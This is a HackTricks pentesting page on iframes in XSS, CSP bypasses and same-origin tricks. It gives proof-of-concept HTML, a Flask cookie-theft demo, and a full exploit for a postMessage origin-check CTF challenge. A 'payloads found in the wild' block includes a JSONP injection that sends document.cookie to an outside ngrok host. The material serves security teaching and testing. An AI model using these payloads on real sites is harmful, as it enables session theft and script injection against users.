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hacktricks/pentesting-web/xss-cross-site-scripting/iframes-in-xss-and-csp.md

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GitBook: [#3146] No subject
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# Iframes in XSS, CSP and SOP
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<details>
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## Iframes in XSS, CSP and SOP
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### Iframes in XSS
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There are 3 ways to indicate the content of an iframed page:
* Via `src` indicating an URL (the URL may be cross origin or same origin)
* Via `src` indicating the content using the `data:` protocol
* Via `srcdoc` indicating the content
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**Accesing Parent & Child vars**
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```html
<html>
<script>
var secret = "31337s3cr37t";
</script>
<iframe id="if1" src="http://127.0.1.1:8000/child.html"></iframe>
<iframe id="if2" src="child.html"></iframe>
<iframe id="if3" srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
<iframe id="if4" src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>
<script>
function access_children_vars(){
alert(if1.secret);
alert(if2.secret);
alert(if3.secret);
alert(if4.secret);
}
setTimeout(access_children_vars, 3000);
</script>
</html>
```
```html
<!-- content of child.html -->
<script>
var secret="child secret";
alert(parent.secret)
</script>
```
If you access the previous html via a http server (like `python3 -m http.server`) you will notice that all the scripts will be executed (as there is no CSP preventing it)., **the parent won’t be able to access the `secret` var inside any iframe** and **only the iframes if2 & if3 (which are considered to be same-site) can access the secret** in the original window.\
Note how if4 is considered to have `null` origin.
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#### Iframes with CSP <a href="#iframes_with_csp_40" id="iframes_with_csp_40"></a>
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{% hint style="info" %}
Please, note how in the following bypasses the response to the iframed page doesn't contain any CSP header that prevents JS execution.
{% endhint %}
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The `self` value of `script-src` won’t allow the execution of the JS code using the `data:` protocol or the `srcdoc` attribute.\
However, even the `none` value of the CSP will allow the execution of the iframes that put a URL (complete or just the path) in the `src` attribute.\
Therefore it’s possible to bypass the CSP of a page with:
```html
<html>
<head>
<meta http-equiv="Content-Security-Policy" content="script-src 'sha256-iF/bMbiFXal+AAl9tF8N6+KagNWdMlnhLqWkjAocLsk='">
</head>
<script>
var secret = "31337s3cr37t";
</script>
<iframe id="if1" src="child.html"></iframe>
<iframe id="if2" src="http://127.0.1.1:8000/child.html"></iframe>
<iframe id="if3" srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
<iframe id="if4" src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>
</html>
```
Note how the **previous CSP only permits the execution of the inline script**.\
However, **only `if1` and `if2` scripts are going to be executed but only `if1` will be able to access the parent secret**.
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![](<../../.gitbook/assets/image (627) (1) (1).png>)
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Therefore, it’s possible to **bypass a CSP if you can upload a JS file to the server and load it via iframe even with `script-src 'none'`**. This can **potentially be also done abusing a same-site JSONP endpoint**.
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You can test this with the following scenario were a cookie is stolen even with `script-src 'none'`. Just run the application and access it with your browser:
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```python
import flask
from flask import Flask
app = Flask(__name__)
@app.route("/")
def index():
resp = flask.Response('<html><iframe id="if1" src="cookie_s.html"></iframe></html>')
resp.headers['Content-Security-Policy'] = "script-src 'self'"
resp.headers['Set-Cookie'] = 'secret=THISISMYSECRET'
return resp
@app.route("/cookie_s.html")
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def cookie_s():
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return "<script>alert(document.cookie)</script>"
if __name__ == "__main__":
app.run()
```
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#### Other Payloads found on the wild <a href="#other_payloads_found_on_the_wild_64" id="other_payloads_found_on_the_wild_64"></a>
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```html
<!-- This one requires the data: scheme to be allowed -->
<iframe srcdoc='<script src="data:text/javascript,alert(document.domain)"></script>'></iframe>
<!-- This one injects JS in a jsonp endppoint -->
<iframe srcdoc='<script src="/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
<!-- sometimes it can be achieved using defer& async attributes of script within iframe (most of the time in new browser due to SOP it fails but who knows when you are lucky?)-->
<iframe src='data:text/html,<script defer="true" src="data:text/javascript,document.body.innerText=/hello/"></script>'></iframe>
```
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#### Iframe sandbox
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The `sandbox` attribute enables an extra set of restrictions for the content in the iframe. **By default, no restriction is applied.**
When the `sandbox` attribute is present, and it will:
* treat the content as being from a unique origin
* block form submission
* block script execution
* disable APIs
* prevent links from targeting other browsing contexts
* prevent content from using plugins (through `<embed>`, `<object>`, `<applet>`, or other)
* prevent the content to navigate its top-level browsing context
* block automatically triggered features (such as automatically playing a video or automatically focusing a form control)
The value of the `sandbox` attribute can either be empty (then all restrictions are applied), or a space-separated list of pre-defined values that will REMOVE the particular restrictions.
```html
<iframe src="demo_iframe_sandbox.htm" sandbox></iframe>
```
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GitBook: [#3146] No subject
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### Iframes in SOP
In this [**challenge**](https://github.com/terjanq/same-origin-xss) created by [**NDevTK**](https://github.com/NDevTK) and [**Terjanq**](https://github.com/terjanq) **** you need you need to exploit a XSS in the coded
```javascript
const identifier = '4a600cd2d4f9aa1cfb5aa786';
onmessage = e => {
const data = e.data;
if (e.origin !== window.origin && data.identifier !== identifier) return;
if (data.type === 'render') {
renderContainer.innerHTML = data.body;
}
}
```
The main problem is that the [**main page**](https://so-xss.terjanq.me) uses DomPurify to send the `data.body`, so in order to send your own html data to that code you need to **bypass** `e.origin !== window.origin`.
#### SOP bypass 1
When `//example.org` is embeded into a **sandboxed iframe**, then the page's **origin** will be **`null`**, i.e. `window.origin === 'null'`. So just by embedding the iframe via `<iframe sandbox="allow-scripts" src="https://so-xss.terjanq.me/iframe.php">` we could force the `null` origin.
If the page was **embeddable** you could bypass that protection that way (cookies might also need to be set to `SameSite=None`).
#### SOP bypass 2
The lesser known fact is that when the **sandbox value `allow-popups` is set** then the **opened popup** will **inherit** all the **sandboxed attributes** unless `allow-popups-to-escape-sandbox` is set.
#### Challenge Solution
Therefore, for this challenge, one could **create** an **iframe**, **open a popup** to the page with the vulnerable XSS code handler (`/iframe.php`), as `window.origin === e.origin` because both are `null` it's possible to **send a payload that will exploit the XSS**.
That **payload** will get the **identifier** and send a **XSS** it **back to the top page** (the page that open the popup), **which** will **change location** to the **vulnerable** `/iframe.php`. Because the identifier is known, it doesn't matter that the condition `window.origin === e.origin` is not satisfied (remember, the origin is the **popup** from the iframe which has **origin** **`null`**) because `data.identifier === identifier`. Then, the **XSS will trigger again**, this time in the correct origin.
```html
<body>
<script>
f = document.createElement('iframe');
// Needed flags
f.sandbox = 'allow-scripts allow-popups allow-top-navigation';
// Second communication with /iframe.php (this is the top page relocated)
// This will execute the alert in the correct origin
const payload = `x=opener.top;opener.postMessage(1,'*');setTimeout(()=>{
x.postMessage({type:'render',identifier,body:'<img/src/onerror=alert(localStorage.html)>'},'*');
},1000);`.replaceAll('\n',' ');
// Initial communication
// Open /iframe.php in a popup, both iframes and popup will have "null" as origin
// Then, bypass window.origin === e.origin to steal the identifier and communicate
// with the top with the second XSS payload
f.srcdoc = `
<h1>Click me!</h1>
<script>
onclick = e => {
let w = open('https://so-xss.terjanq.me/iframe.php');
onmessage = e => top.location = 'https://so-xss.terjanq.me/iframe.php';
setTimeout(_ => {
w.postMessage({type: "render", body: "<audio/src/onerror=\\"${payload}\\">"}, '*')
}, 1000);
};
<\/script>
`
document.body.appendChild(f);
</script>
</body>
```
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2022-04-28 16:01:33 +00:00
<details>
<summary><strong>Support HackTricks and get benefits!</strong></summary>
Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
**Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
**Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
</details>
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